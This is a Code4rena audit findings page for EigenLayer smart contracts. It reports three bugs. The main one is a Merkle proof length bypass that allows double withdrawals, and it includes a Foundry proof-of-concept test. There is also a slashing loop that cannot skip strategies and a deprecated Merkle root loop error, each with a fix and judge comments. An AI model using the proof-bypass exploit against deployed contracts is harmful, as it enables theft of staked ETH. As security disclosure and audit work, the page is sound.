Platform: Code4rena
Start Date: 27/04/2023
Pot Size: $90,500 USDC
Total HM: 4
Participants: 43
Period: 7 days
Judge: GalloDaSballo
Id: 233
League: ETH
Rank: 2/43
Findings: 3
Award: $12,193.66
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: volodya, windowhan001
10063.0016 USDC - $10,063.00
Detailed description of the impact of this finding. "verifyAndProcessWithdrawal" can be abused to steal from every validator at least once.
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Whevener user call verifyAndProcessWithdrawal
there is a verification that proofs are valid
function verifyAndProcessWithdrawal( BeaconChainProofs.WithdrawalProofs calldata withdrawalProofs, bytes calldata validatorFieldsProof, bytes32[] calldata validatorFields, bytes32[] calldata withdrawalFields, uint256 beaconChainETHStrategyIndex, uint64 oracleBlockNumber ) external onlyWhenNotPaused(PAUSED_EIGENPODS_VERIFY_WITHDRAWAL) onlyNotFrozen /** * Check that the provided block number being proven against is after the `mostRecentWithdrawalBlockNumber`. * Without this check, there is an edge case where a user proves a past withdrawal for a validator whose funds they already withdrew, * as a way to "withdraw the same funds twice" without providing adequate proof. * Note that this check is not made using the oracleBlockNumber as in the `verifyWithdrawalCredentials` proof; instead this proof * proof is made for the block number of the withdrawal, which may be within 8192 slots of the oracleBlockNumber. * This difference in modifier usage is OK, since it is still not possible to `verifyAndProcessWithdrawal` against a slot that occurred * *prior* to the proof provided in the `verifyWithdrawalCredentials` function. */ proofIsForValidBlockNumber(Endian.fromLittleEndianUint64(withdrawalProofs.blockNumberRoot)) { ... BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, withdrawalProofs, withdrawalFields); ...
Inside function verifyWithdrawalProofs
there are not validation that slotProof
is at least 32 length and slotProof % 32 ==0
like all the other proofs in this function.
function verifyWithdrawalProofs( bytes32 beaconStateRoot, WithdrawalProofs calldata proofs, bytes32[] calldata withdrawalFields ) internal view { require(withdrawalFields.length == 2**WITHDRAWAL_FIELD_TREE_HEIGHT, "BeaconChainProofs.verifyWithdrawalProofs: withdrawalFields has incorrect length"); require(proofs.blockHeaderRootIndex < 2**BLOCK_ROOTS_TREE_HEIGHT, "BeaconChainProofs.verifyWithdrawalProofs: blockRootIndex is too large"); require(proofs.withdrawalIndex < 2**WITHDRAWALS_TREE_HEIGHT, "BeaconChainProofs.verifyWithdrawalProofs: withdrawalIndex is too large"); // verify the block header proof length require(proofs.blockHeaderProof.length == 32 * (BEACON_STATE_FIELD_TREE_HEIGHT + BLOCK_ROOTS_TREE_HEIGHT), "BeaconChainProofs.verifyWithdrawalProofs: blockHeaderProof has incorrect length"); require(proofs.withdrawalProof.length == 32 * (EXECUTION_PAYLOAD_HEADER_FIELD_TREE_HEIGHT + WITHDRAWALS_TREE_HEIGHT + 1), "BeaconChainProofs.verifyWithdrawalProofs: withdrawalProof has incorrect length"); require(proofs.executionPayloadProof.length == 32 * (BEACON_BLOCK_HEADER_FIELD_TREE_HEIGHT + BEACON_BLOCK_BODY_FIELD_TREE_HEIGHT), "BeaconChainProofs.verifyWithdrawalProofs: executionPayloadProof has incorrect length"); /** * Computes the block_header_index relative to the beaconStateRoot. It concatenates the indexes of all the * intermediate root indexes from the bottom of the sub trees (the block header container) to the top of the tree */ uint256 blockHeaderIndex = BLOCK_ROOTS_INDEX << (BLOCK_ROOTS_TREE_HEIGHT) | uint256(proofs.blockHeaderRootIndex); // Verify the blockHeaderRoot against the beaconStateRoot require(Merkle.verifyInclusionSha256(proofs.blockHeaderProof, beaconStateRoot, proofs.blockHeaderRoot, blockHeaderIndex), "BeaconChainProofs.verifyWithdrawalProofs: Invalid block header merkle proof"); //Next we verify the slot against the blockHeaderRoot require(Merkle.verifyInclusionSha256(proofs.slotProof, proofs.blockHeaderRoot, proofs.slotRoot, SLOT_INDEX), "BeaconChainProofs.verifyWithdrawalProofs: Invalid slot merkle proof"); // Next we verify the executionPayloadRoot against the blockHeaderRoot uint256 executionPayloadIndex = BODY_ROOT_INDEX << (BEACON_BLOCK_BODY_FIELD_TREE_HEIGHT)| EXECUTION_PAYLOAD_INDEX ; require(Merkle.verifyInclusionSha256(proofs.executionPayloadProof, proofs.blockHeaderRoot, proofs.executionPayloadRoot, executionPayloadIndex), "BeaconChainProofs.verifyWithdrawalProofs: Invalid executionPayload merkle proof"); // Next we verify the blockNumberRoot against the executionPayload root require(Merkle.verifyInclusionSha256(proofs.blockNumberProof, proofs.executionPayloadRoot, proofs.blockNumberRoot, BLOCK_NUMBER_INDEX), "BeaconChainProofs.verifyWithdrawalProofs: Invalid blockNumber merkle proof"); /** * Next we verify the withdrawal fields against the blockHeaderRoot: * First we compute the withdrawal_index relative to the blockHeaderRoot by concatenating the indexes of all the * intermediate root indexes from the bottom of the sub trees (the withdrawal container) to the top, the blockHeaderRoot. * Then we calculate merkleize the withdrawalFields container to calculate the the withdrawalRoot. * Finally we verify the withdrawalRoot against the executionPayloadRoot. */ uint256 withdrawalIndex = WITHDRAWALS_INDEX << (WITHDRAWALS_TREE_HEIGHT + 1) | uint256(proofs.withdrawalIndex); bytes32 withdrawalRoot = Merkle.merkleizeSha256(withdrawalFields); require(Merkle.verifyInclusionSha256(proofs.withdrawalProof, proofs.executionPayloadRoot, withdrawalRoot, withdrawalIndex), "BeaconChainProofs.verifyWithdrawalProofs: Invalid withdrawal merkle proof"); }
contracts/libraries/BeaconChainProofs.sol#L245
Therefore its possible to set slotProof
to any string below 32 length and there will be no Sha256 validation inside Merkle.sol
file due to proof.length
<32 and loop start with 32
function processInclusionProofSha256(bytes memory proof, bytes32 leaf, uint256 index) internal view returns (bytes32) { bytes32[1] memory computedHash = [leaf]; for (uint256 i = 32; i <= proof.length; i+=32) { if(index % 2 == 0) { // if ith bit of index is 0, then computedHash is a left sibling assembly { mstore(0x00, mload(computedHash)) mstore(0x20, mload(add(proof, i))) if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)} index := div(index, 2) } } else { // if ith bit of index is 1, then computedHash is a right sibling assembly { mstore(0x00, mload(add(proof, i))) mstore(0x20, mload(computedHash)) if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)} index := div(index, 2) } } } return computedHash[0]; }
src/contracts/libraries/Merkle.sol#L99
What we need to do in exploit is set slotRoot
to blockHeaderRoot
to get a bonus eth. There maybe other ways how to get a reward from more than 1 slot per each validator but I`ve not figured it out.
POC:
function testPartialWithdrawalFlow() public returns(IEigenPod){ //this call is to ensure that validator 61068 has proven their withdrawalcreds setJSON("./src/test/test-data/withdrawalCredentialAndBalanceProof_61068.json"); _testDeployAndVerifyNewEigenPod(podOwner, signature, depositDataRoot); IEigenPod newPod = eigenPodManager.getPod(podOwner); //generate partialWithdrawalProofs.json with: // ./solidityProofGen "WithdrawalFieldsProof" 61068 656 "data/slot_58000/oracle_capella_beacon_state_58100.ssz" "data/slot_58000/capella_block_header_58000.json" "data/slot_58000/capella_block_58000.json" "partialWithdrawalProof.json" setJSON("./src/test/test-data/partialWithdrawalProof.json"); BeaconChainProofs.WithdrawalProofs memory withdrawalProofs = _getWithdrawalProof(); bytes memory validatorFieldsProof = abi.encodePacked(getValidatorProof()); withdrawalFields = getWithdrawalFields(); validatorFields = getValidatorFields(); bytes32 newBeaconStateRoot = getBeaconStateRoot(); BeaconChainOracleMock(address(beaconChainOracle)).setBeaconChainStateRoot(newBeaconStateRoot); uint64 withdrawalAmountGwei = Endian.fromLittleEndianUint64(withdrawalFields[BeaconChainProofs.WITHDRAWAL_VALIDATOR_AMOUNT_INDEX]); uint64 slot = Endian.fromLittleEndianUint64(withdrawalProofs.slotRoot); cheats.deal(address(newPod), stakeAmount); uint256 delayedWithdrawalRouterContractBalanceBefore = address(delayedWithdrawalRouter).balance; newPod.verifyAndProcessWithdrawal(withdrawalProofs, validatorFieldsProof, validatorFields, withdrawalFields, 0, 0); // ------------start POC---------- withdrawalProofs.slotRoot = withdrawalProofs.blockHeaderRoot; // slotRoot should be the same as blockHeaderRoot withdrawalProofs.slotProof = ""; // any length below 32 so loop will be bypassed newPod.verifyAndProcessWithdrawal(withdrawalProofs, validatorFieldsProof, validatorFields, withdrawalFields, 0, 0); // ------------end POC---------- uint40 validatorIndex = uint40(getValidatorIndex()); require(newPod.provenPartialWithdrawal(validatorIndex, slot), "provenPartialWithdrawal should be true"); withdrawalAmountGwei = uint64(withdrawalAmountGwei*GWEI_TO_WEI); require(address(delayedWithdrawalRouter).balance - delayedWithdrawalRouterContractBalanceBefore == withdrawalAmountGwei * 2, "pod delayed withdrawal balance hasn't been updated correctly"); // double withdraw cheats.roll(block.number + PARTIAL_WITHDRAWAL_FRAUD_PROOF_PERIOD_BLOCKS + 1); uint podOwnerBalanceBefore = address(podOwner).balance; delayedWithdrawalRouter.claimDelayedWithdrawals(podOwner, 1); require(address(podOwner).balance - podOwnerBalanceBefore == withdrawalAmountGwei, "Pod owner balance hasn't been updated correctly"); return newPod; }
I think its important to add these require inside merkle for security
function processInclusionProofSha256(bytes memory proof, bytes32 leaf, uint256 index) internal view returns (bytes32) { bytes32[1] memory computedHash = [leaf]; + require(proof.length % 32 == 0 && proof.length > 0, "Invalid proof length"); for (uint256 i = 32; i <= proof.length; i+=32) { if(index % 2 == 0) { // if ith bit of index is 0, then computedHash is a left sibling assembly { mstore(0x00, mload(computedHash)) mstore(0x20, mload(add(proof, i))) if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)} index := div(index, 2) } } else { // if ith bit of index is 1, then computedHash is a right sibling assembly { mstore(0x00, mload(add(proof, i))) mstore(0x20, mload(computedHash)) if iszero(staticcall(sub(gas(), 2000), 2, 0x00, 0x40, computedHash, 0x20)) {revert(0, 0)} index := div(index, 2) } } } return computedHash[0]; }
#0 - c4-pre-sort
2023-05-09T13:43:38Z
0xSorryNotSorry marked the issue as duplicate of #388
#1 - c4-judge
2023-06-08T12:21:18Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: MiloTruck, Ruhum, SpicyMeatball, bin2chen, evmboi32, pontifex, sashik_eth, volodya, yjrwkk
1443.9307 USDC - $1,443.93
Detailed description of the impact of this finding. slashQueuedWithdrawal cannot skip malicious strategies
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Whenever admin would like to skip malicious strategy in the strategies
array which always reverts on calls to its 'withdraw' function. They will still be triggered. Whevener check indicesToSkipIndex < indicesToSkip.length && indicesToSkip[indicesToSkipIndex] == i
is in place, array doenst go to the next strategy on list but stays on the same index.
function slashQueuedWithdrawal(address recipient, QueuedWithdrawal calldata queuedWithdrawal, IERC20[] calldata tokens, uint256[] calldata indicesToSkip) external onlyOwner onlyFrozen(queuedWithdrawal.delegatedAddress) nonReentrant { require(tokens.length == queuedWithdrawal.strategies.length, "StrategyManager.slashQueuedWithdrawal: input length mismatch"); // find the withdrawalRoot bytes32 withdrawalRoot = calculateWithdrawalRoot(queuedWithdrawal); // verify that the queued withdrawal is pending require( withdrawalRootPending[withdrawalRoot], "StrategyManager.slashQueuedWithdrawal: withdrawal is not pending" ); // reset the storage slot in mapping of queued withdrawals withdrawalRootPending[withdrawalRoot] = false; // keeps track of the index in the `indicesToSkip` array uint256 indicesToSkipIndex = 0; uint256 strategiesLength = queuedWithdrawal.strategies.length; for (uint256 i = 0; i < strategiesLength;) { // check if the index i matches one of the indices specified in the `indicesToSkip` array if (indicesToSkipIndex < indicesToSkip.length && indicesToSkip[indicesToSkipIndex] == i) { unchecked { ++indicesToSkipIndex; } } else { if (queuedWithdrawal.strategies[i] == beaconChainETHStrategy){ //withdraw the beaconChainETH to the recipient _withdrawBeaconChainETH(queuedWithdrawal.depositor, recipient, queuedWithdrawal.shares[i]); } else { // tell the strategy to send the appropriate amount of funds to the recipient queuedWithdrawal.strategies[i].withdraw(recipient, tokens[i], queuedWithdrawal.shares[i]); } unchecked { ++i; } } } }
/src/contracts/core/StrategyManager.sol#L537
POC
function testSlashQueuedWithdrawalNotBeaconChainETH2() external { address recipient = address(333); uint256 depositAmount = 1e18; uint256 withdrawalAmount = depositAmount; bool undelegateIfPossible = false; (IStrategyManager.QueuedWithdrawal memory queuedWithdrawal, /*IERC20[] memory tokensArray*/, bytes32 withdrawalRoot) = testQueueWithdrawal_ToSelf_NotBeaconChainETH(depositAmount, withdrawalAmount, undelegateIfPossible); uint256 balanceBefore = dummyToken.balanceOf(address(recipient)); // slash the delegatedOperator slasherMock.freezeOperator(queuedWithdrawal.delegatedAddress); cheats.startPrank(strategyManager.owner()); uint256[] memory emptyUintArray2 = new uint256[](1); emptyUintArray2[0] = 0; strategyManager.slashQueuedWithdrawal(recipient, queuedWithdrawal, _arrayWithJustDummyToken(), emptyUintArray2); cheats.stopPrank(); uint256 balanceAfter = dummyToken.balanceOf(address(recipient)); require(balanceAfter == balanceBefore, "balance should be equal to before because we skip it inside emptyUintArray2");// should pass but it doesn't require(!strategyManager.withdrawalRootPending(withdrawalRoot), "withdrawalRootPendingAfter is true!"); }
Move ++i
outside of if block
function slashQueuedWithdrawal(address recipient, QueuedWithdrawal calldata queuedWithdrawal, IERC20[] calldata tokens, uint256[] calldata indicesToSkip) external onlyOwner onlyFrozen(queuedWithdrawal.delegatedAddress) nonReentrant { require(tokens.length == queuedWithdrawal.strategies.length, "StrategyManager.slashQueuedWithdrawal: input length mismatch"); // find the withdrawalRoot bytes32 withdrawalRoot = calculateWithdrawalRoot(queuedWithdrawal); // verify that the queued withdrawal is pending require( withdrawalRootPending[withdrawalRoot], "StrategyManager.slashQueuedWithdrawal: withdrawal is not pending" ); // reset the storage slot in mapping of queued withdrawals withdrawalRootPending[withdrawalRoot] = false; // keeps track of the index in the `indicesToSkip` array uint256 indicesToSkipIndex = 0; uint256 strategiesLength = queuedWithdrawal.strategies.length; for (uint256 i = 0; i < strategiesLength;) { // check if the index i matches one of the indices specified in the `indicesToSkip` array if (indicesToSkipIndex < indicesToSkip.length && indicesToSkip[indicesToSkipIndex] == i) { unchecked { ++indicesToSkipIndex; } } else { if (queuedWithdrawal.strategies[i] == beaconChainETHStrategy){ //withdraw the beaconChainETH to the recipient _withdrawBeaconChainETH(queuedWithdrawal.depositor, recipient, queuedWithdrawal.shares[i]); } else { // tell the strategy to send the appropriate amount of funds to the recipient queuedWithdrawal.strategies[i].withdraw(recipient, tokens[i], queuedWithdrawal.shares[i]); } } + unchecked { + ++i; + } } }
#0 - c4-pre-sort
2023-05-09T13:09:07Z
0xSorryNotSorry marked the issue as duplicate of #205
#1 - c4-judge
2023-06-08T12:23:27Z
GalloDaSballo changed the severity to 3 (High Risk)
#2 - c4-judge
2023-06-08T12:24:59Z
GalloDaSballo marked the issue as satisfactory
#3 - GalloDaSballo
2023-06-08T12:24:59Z
Amazing
🌟 Selected for report: volodya
Also found by: 0xWaitress, 0xnev, ABA, Aymen0909, Cyfrin, QiuhaoLi, RaymondFam, btk, bughunter007, ihtishamsudo, juancito, libratus, niser93, sashik_eth
686.7311 USDC - $686.73
Detailed description of the impact of this finding. The Merkle tree creation inside the computePhase0Eth1DataRoot function is incorrect
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Not all fields of eth1DataFields being used in an array due to usage of i < ETH1_DATA_FIELD_TREE_HEIGHT
instead of i<NUM_ETH1_DATA_FIELDS
Check other similar function.
function computePhase0Eth1DataRoot(bytes32[NUM_ETH1_DATA_FIELDS] calldata eth1DataFields) internal pure returns(bytes32) { bytes32[] memory paddedEth1DataFields = new bytes32[](2**ETH1_DATA_FIELD_TREE_HEIGHT); for (uint256 i = 0; i < ETH1_DATA_FIELD_TREE_HEIGHT; ++i) { paddedEth1DataFields[i] = eth1DataFields[i]; } return Merkle.merkleizeSha256(paddedEth1DataFields); }
src/contracts/libraries/BeaconChainProofs.sol#L160
Manual
function computePhase0Eth1DataRoot(bytes32[NUM_ETH1_DATA_FIELDS] calldata eth1DataFields) internal pure returns(bytes32) { bytes32[] memory paddedEth1DataFields = new bytes32[](2**ETH1_DATA_FIELD_TREE_HEIGHT); _ for (uint256 i = 0; i < ETH1_DATA_FIELD_TREE_HEIGHT; ++i) { + for (uint256 i = 0; i < NUM_ETH1_DATA_FIELDS; ++i) { paddedEth1DataFields[i] = eth1DataFields[i]; } return Merkle.merkleizeSha256(paddedEth1DataFields); }
Math
#0 - c4-pre-sort
2023-05-09T13:56:45Z
0xSorryNotSorry marked the issue as primary issue
#1 - c4-sponsor
2023-05-12T05:15:45Z
Sidu28 marked the issue as disagree with severity
#2 - Sidu28
2023-05-12T05:15:46Z
We believe this is low severity. The code is unused and informally deprecated but it is indeed technically incorrect.
#3 - c4-judge
2023-05-29T12:56:51Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#4 - GalloDaSballo
2023-05-29T12:56:57Z
Agree with the Sponsor because the code is unused
L
#5 - c4-judge
2023-06-08T12:18:32Z
GalloDaSballo marked the issue as grade-a
#6 - GalloDaSballo
2023-06-08T12:18:57Z
Consistently high quality submissions, after grading the QAs I believe the Warden deserves the best place
#7 - c4-judge
2023-06-08T12:19:02Z
GalloDaSballo marked the issue as selected for report